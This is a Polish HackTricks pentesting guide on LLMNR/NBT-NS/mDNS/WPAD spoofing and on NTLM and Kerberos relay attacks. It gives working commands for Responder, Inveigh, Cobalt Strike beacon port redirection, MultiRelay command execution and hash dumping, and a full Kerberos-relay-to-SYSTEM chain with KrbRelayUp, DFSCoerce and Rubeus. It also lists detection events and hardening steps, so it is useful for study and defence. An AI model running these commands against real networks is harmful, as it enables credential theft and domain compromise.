mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
234 lines
14 KiB
Markdown
234 lines
14 KiB
Markdown
# Spoofing LLMNR, NBT-NS, mDNS/DNS i WPAD oraz ataki relayowe
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## Protokoły sieciowe
|
|
|
|
### Protokoły lokalnej rozdzielczości hosta
|
|
|
|
- **LLMNR, NBT-NS i mDNS**:
|
|
- Microsoft i inne systemy operacyjne używają LLMNR i NBT-NS do lokalnej rozdzielczości nazw, gdy DNS zawiedzie. Podobnie, systemy Apple i Linux używają mDNS.
|
|
- Protokoły te są podatne na przechwytywanie i spoofing z powodu ich nieautoryzowanej, rozgłoszeniowej natury w UDP.
|
|
- [Responder](https://github.com/lgandx/Responder) może być używany do podszywania się pod usługi, wysyłając sfałszowane odpowiedzi do hostów zapytujących te protokoły.
|
|
- Dalsze informacje na temat podszywania się pod usługi za pomocą Respondera można znaleźć [tutaj](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
|
|
|
### Protokół automatycznego odkrywania proxy w sieci (WPAD)
|
|
|
|
- WPAD pozwala przeglądarkom na automatyczne odkrywanie ustawień proxy.
|
|
- Odkrywanie jest ułatwione przez DHCP, DNS lub przejście do LLMNR i NBT-NS, jeśli DNS zawiedzie.
|
|
- Responder może automatyzować ataki WPAD, kierując klientów do złośliwych serwerów WPAD.
|
|
|
|
### Responder do zatruwania protokołów
|
|
|
|
- **Responder** to narzędzie używane do zatruwania zapytań LLMNR, NBT-NS i mDNS, selektywnie odpowiadając na podstawie typów zapytań, głównie celując w usługi SMB.
|
|
- Jest preinstalowane w Kali Linux, konfigurowalne w `/etc/responder/Responder.conf`.
|
|
- Responder wyświetla przechwycone hashe na ekranie i zapisuje je w katalogu `/usr/share/responder/logs`.
|
|
- Obsługuje zarówno IPv4, jak i IPv6.
|
|
- Wersja Windows Respondera jest dostępna [tutaj](https://github.com/lgandx/Responder-Windows).
|
|
|
|
#### Uruchamianie Respondera
|
|
|
|
- Aby uruchomić Responder z domyślnymi ustawieniami: `responder -I <Interface>`
|
|
- Dla bardziej agresywnego skanowania (z potencjalnymi skutkami ubocznymi): `responder -I <Interface> -P -r -v`
|
|
- Techniki przechwytywania wyzwań/odpowiedzi NTLMv1 dla łatwiejszego łamania: `responder -I <Interface> --lm --disable-ess`
|
|
- Podszywanie się pod WPAD można aktywować za pomocą: `responder -I <Interface> --wpad`
|
|
- Żądania NetBIOS mogą być rozwiązywane do IP atakującego, a proxy uwierzytelniające można skonfigurować: `responder.py -I <interface> -Pv`
|
|
|
|
### Zatruwanie DHCP za pomocą Respondera
|
|
|
|
- Podszywanie się pod odpowiedzi DHCP może na stałe zatruć informacje o trasowaniu ofiary, oferując bardziej dyskretną alternatywę dla zatruwania ARP.
|
|
- Wymaga to dokładnej wiedzy o konfiguracji sieci docelowej.
|
|
- Uruchamianie ataku: `./Responder.py -I eth0 -Pdv`
|
|
- Ta metoda może skutecznie przechwytywać hashe NTLMv1/2, ale wymaga ostrożnego podejścia, aby uniknąć zakłóceń w sieci.
|
|
|
|
### Przechwytywanie poświadczeń za pomocą Respondera
|
|
|
|
- Responder będzie podszywał się pod usługi korzystające z wyżej wymienionych protokołów, przechwytując poświadczenia (zwykle NTLMv2 Challenge/Response), gdy użytkownik próbuje uwierzytelnić się w podszywających się usługach.
|
|
- Można próbować obniżyć wersję do NetNTLMv1 lub wyłączyć ESS dla łatwiejszego łamania poświadczeń.
|
|
|
|
Ważne jest, aby zauważyć, że stosowanie tych technik powinno odbywać się legalnie i etycznie, zapewniając odpowiednie upoważnienie i unikając zakłóceń lub nieautoryzowanego dostępu.
|
|
|
|
## Inveigh
|
|
|
|
Inveigh to narzędzie dla testerów penetracyjnych i zespołów red, zaprojektowane dla systemów Windows. Oferuje funkcjonalności podobne do Respondera, wykonując ataki spoofingowe i man-in-the-middle. Narzędzie ewoluowało z skryptu PowerShell do binarnego pliku C#, z [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) i [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) jako głównymi wersjami. Szczegółowe parametry i instrukcje można znaleźć w [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
|
|
|
|
Inveigh można obsługiwać za pomocą PowerShell:
|
|
```bash
|
|
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
|
|
```
|
|
Lub wykonane jako binarny plik C#:
|
|
```bash
|
|
Inveigh.exe
|
|
```
|
|
### NTLM Relay Attack
|
|
|
|
Atak ten wykorzystuje sesje uwierzytelniania SMB do uzyskania dostępu do docelowej maszyny, przyznając powłokę systemową w przypadku sukcesu. Kluczowe wymagania wstępne obejmują:
|
|
|
|
- Użytkownik uwierzytelniający musi mieć dostęp lokalnego administratora na hostie, na który jest przekazywane połączenie.
|
|
- Podpisywanie SMB powinno być wyłączone.
|
|
|
|
#### 445 Port Forwarding and Tunneling
|
|
|
|
W scenariuszach, w których bezpośrednie wprowadzenie do sieci nie jest możliwe, ruch na porcie 445 musi być przekierowany i tunelowany. Narzędzia takie jak [**PortBender**](https://github.com/praetorian-inc/PortBender) pomagają w przekierowywaniu ruchu na porcie 445 do innego portu, co jest niezbędne, gdy dostęp lokalnego administratora jest dostępny do ładowania sterowników.
|
|
|
|
PortBender setup and operation in Cobalt Strike:
|
|
```bash
|
|
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
|
|
|
|
beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
|
|
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
|
|
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
|
|
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
|
|
beacon> socks 1080 # Establish a SOCKS proxy on port 1080
|
|
|
|
# Termination commands
|
|
beacon> jobs
|
|
beacon> jobkill 0
|
|
beacon> rportfwd stop 8445
|
|
beacon> socks stop
|
|
```
|
|
### Inne narzędzia do ataku NTLM Relay
|
|
|
|
- **Metasploit**: Skonfigurowany z proxy, szczegółami lokalnych i zdalnych hostów.
|
|
- **smbrelayx**: Skrypt w Pythonie do relaying sesji SMB i wykonywania poleceń lub wdrażania backdoorów.
|
|
- **MultiRelay**: Narzędzie z pakietu Responder do relaying konkretnych użytkowników lub wszystkich użytkowników, wykonywania poleceń lub zrzucania hashy.
|
|
|
|
Każde narzędzie można skonfigurować do działania przez proxy SOCKS, jeśli to konieczne, co umożliwia ataki nawet przy pośrednim dostępie do sieci.
|
|
|
|
### Działanie MultiRelay
|
|
|
|
MultiRelay jest uruchamiane z katalogu _**/usr/share/responder/tools**_, celując w konkretne adresy IP lub użytkowników.
|
|
```bash
|
|
python MultiRelay.py -t <IP target> -u ALL # Relay all users
|
|
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
|
|
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
|
|
|
|
# Proxychains for routing traffic
|
|
```
|
|
Te narzędzia i techniki tworzą kompleksowy zestaw do przeprowadzania ataków NTLM Relay w różnych środowiskach sieciowych.
|
|
|
|
### Wymuszanie logowania NTLM
|
|
|
|
W systemie Windows **możesz być w stanie wymusić, aby niektóre uprzywilejowane konta uwierzytelniały się na dowolnych maszynach**. Przeczytaj następującą stronę, aby dowiedzieć się jak:
|
|
|
|
{{#ref}}
|
|
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
|
|
{{#endref}}
|
|
|
|
## Atak Kerberos Relay
|
|
|
|
Atak **Kerberos relay** kradnie **bilet AP-REQ** z jednej usługi i ponownie go wykorzystuje przeciwko drugiej usłudze, która dzieli **ten sam klucz konta komputera** (ponieważ oba SPN znajdują się na tym samym koncie maszyny `$`). Działa to, mimo że **klasy usług SPN różnią się** (np. `CIFS/` → `LDAP/`), ponieważ *klucz*, który odszyfrowuje bilet, to NT hash maszyny, a nie sam ciąg SPN, a ciąg SPN nie jest częścią podpisu.
|
|
|
|
W przeciwieństwie do NTLM relay, skok jest ograniczony do *tej samej hosta*, ale jeśli celujesz w protokół, który pozwala na zapis do LDAP, możesz połączyć się z **Resource-Based Constrained Delegation (RBCD)** lub **AD CS enrollment** i uzyskać **NT AUTHORITY\SYSTEM** za jednym razem.
|
|
|
|
Aby uzyskać szczegółowe informacje na temat tego ataku, sprawdź:
|
|
|
|
- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)
|
|
- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/)
|
|
|
|
- 1. **Podstawy Kerberos**
|
|
|
|
| Token | Cel | Znaczenie dla relay |
|
|
|-------|---------|-----------------|
|
|
| **TGT / AS-REQ ↔ REP** | Udowadnia użytkownika KDC | nietknięty |
|
|
| **Bilet usługi / TGS-REQ ↔ REP** | Powiązany z jednym **SPN**; zaszyfrowany kluczem właściciela SPN | wymienny, jeśli SPN dzielą konto |
|
|
| **AP-REQ** | Klient wysyła `TGS` do usługi | **to, co kradniemy i odtwarzamy** |
|
|
|
|
* Bilety są szyfrowane **kluczem pochodzącym z hasła konta, które posiada SPN**.
|
|
* **Authenticator** wewnątrz AP-REQ ma znacznik czasu 5 minut; odtworzenie w tym oknie jest ważne, dopóki pamięć podręczna usługi nie zobaczy duplikatu.
|
|
* Windows rzadko sprawdza, czy ciąg SPN w bilecie pasuje do usługi, którą trafiasz, więc bilet dla `CIFS/HOST` normalnie odszyfrowuje się poprawnie na `LDAP/HOST`.
|
|
|
|
- 2. **Co musi być prawdą, aby przekazać Kerberos**
|
|
|
|
1. **Wspólny klucz:** źródłowe i docelowe SPN należą do tego samego konta komputera (domyślnie na serwerach Windows).
|
|
2. **Brak ochrony kanału:** SMB/LDAP podpisy wyłączone i EPA wyłączone dla HTTP/LDAPS.
|
|
3. **Możesz przechwycić lub wymusić uwierzytelnienie:** LLMNR/NBNS poison, DNS spoof, **PetitPotam / DFSCoerce RPC**, fałszywy AuthIP, rogue DCOM, itd.
|
|
4. **Źródło biletu nie zostało już użyte:** wygrywasz wyścig, zanim prawdziwy pakiet dotrze lub blokujesz go całkowicie; w przeciwnym razie pamięć podręczna serwera odtwarza zdarzenie 4649.
|
|
5. Musisz w jakiś sposób być w stanie przeprowadzić **MitM w komunikacji**, być może będąc częścią grupy DNSAmins, aby zmodyfikować DNS domeny lub być w stanie zmienić plik HOST ofiary.
|
|
|
|
### Kroki ataku Kerberos Relay
|
|
|
|
- 3.1 **Rozpoznanie hosta**
|
|
```powershell
|
|
# find servers where HTTP, LDAP or CIFS share the same machine account
|
|
Get-ADComputer -Filter * -Properties servicePrincipalName |
|
|
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
|
|
Select Name,servicePrincipalName
|
|
```
|
|
- 3.2 **Uruchom nasłuchiwacz przekazywania**
|
|
|
|
[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)
|
|
```powershell
|
|
# one-click local SYSTEM via RBCD
|
|
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
|
|
```
|
|
`KrbRelayUp` opakowuje **KrbRelay → LDAP → RBCD → Rubeus → SCM bypass** w jednym pliku binarnym.
|
|
|
|
- 3.3 **Wymuszenie uwierzytelnienia Kerberos**
|
|
```powershell
|
|
# coerce DC to auth over SMB with DFSCoerce
|
|
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
|
|
```
|
|
DFSCoerce sprawia, że DC wysyła nam bilet Kerberos `CIFS/DC01`.
|
|
|
|
- 3.4 **Przekaż AP-REQ**
|
|
|
|
KrbRelay wyodrębnia blob GSS z SMB, pakuje go ponownie w bind LDAP i przesyła do `ldap://DC01`—uwierzytelnienie się udaje, ponieważ **ten sam klucz** go deszyfruje.
|
|
|
|
- 3.5 **Wykorzystaj LDAP ➜ RBCD ➜ SYSTEM**
|
|
```powershell
|
|
# (auto inside KrbRelayUp) manual for clarity
|
|
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
|
|
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
|
|
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
|
|
SCMUACBypass.exe
|
|
```
|
|
You now own **NT AUTHORITY\SYSTEM**.
|
|
|
|
|
|
### **Więcej ścieżek, które warto znać**
|
|
|
|
| Wektor | Sztuczka | Dlaczego to ma znaczenie |
|
|
|--------|-------|----------------|
|
|
| **AuthIP / IPSec** | Fałszywy serwer wysyła **ładunek GSS-ID** z dowolnym SPN; klient buduje AP-REQ bezpośrednio do ciebie | Działa nawet w różnych podsieciach; domyślne poświadczenia maszyny |
|
|
| **DCOM / MSRPC** | Złośliwy resolver OXID zmusza klienta do uwierzytelnienia do dowolnego SPN i portu | Czyste *lokalne* podniesienie uprawnień; omija zaporę |
|
|
| **AD CS Web Enroll** | Przekaż bilet maszyny do `HTTP/CA` i zdobądź certyfikat, następnie **PKINIT** do wyprodukowania TGT | Omija zabezpieczenia podpisywania LDAP |
|
|
| **Shadow Credentials** | Zapisz `msDS-KeyCredentialLink`, następnie PKINIT z fałszywą parą kluczy | Nie ma potrzeby dodawania konta komputera |
|
|
|
|
### **Rozwiązywanie problemów**
|
|
|
|
| Błąd | Znaczenie | Naprawa |
|
|
|-------|---------|-----|
|
|
| `KRB_AP_ERR_MODIFIED` | Klucz biletu ≠ klucz docelowy | Zły host/SPN |
|
|
| `KRB_AP_ERR_SKEW` | Zegar > 5 min różnicy | Synchronizuj czas lub użyj `w32tm` |
|
|
| Niepowodzenie bindowania LDAP | Wymuszone podpisywanie | Użyj ścieżki AD CS lub wyłącz podpisywanie |
|
|
| Spam zdarzeń 4649 | Usługa zauważyła duplikat Authenticator | zablokuj lub wyściguj oryginalny pakiet |
|
|
|
|
|
|
### **Wykrywanie**
|
|
|
|
* Wzrost w **Zdarzeniu 4769** dla `CIFS/`, `HTTP/`, `LDAP/` z tego samego źródła w ciągu kilku sekund.
|
|
* **Zdarzenie 4649** na usłudze wskazuje na wykrycie powtórzenia.
|
|
* Logowanie Kerberos z **127.0.0.1** (przekazywanie do lokalnego SCM) jest bardzo podejrzane—mapuj za pomocą reguły Sigma w dokumentach KrbRelayUp.
|
|
* Obserwuj zmiany w atrybutach `msDS-AllowedToActOnBehalfOfOtherIdentity` lub `msDS-KeyCredentialLink`.
|
|
|
|
## **Wzmacnianie zabezpieczeń**
|
|
|
|
1. **Wymuś podpisywanie LDAP i SMB + EPA** na każdym serwerze.
|
|
2. **Podziel SPN** tak, aby HTTP nie było na tym samym koncie co CIFS/LDAP.
|
|
3. Łatki dla wektorów przymusu (PetitPotam KB5005413, DFS, AuthIP).
|
|
4. Ustaw **`ms-DS-MachineAccountQuota = 0`** aby zatrzymać nieautoryzowane dołączenia komputerów.
|
|
5. Powiadamiaj o **Zdarzeniu 4649** i nieoczekiwanych logowaniach Kerberos z pętli zwrotnej.
|
|
|
|
|
|
|
|
## Odniesienia
|
|
|
|
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
|
|
- [https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)
|
|
- [https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/)
|
|
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
|
|
- [https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|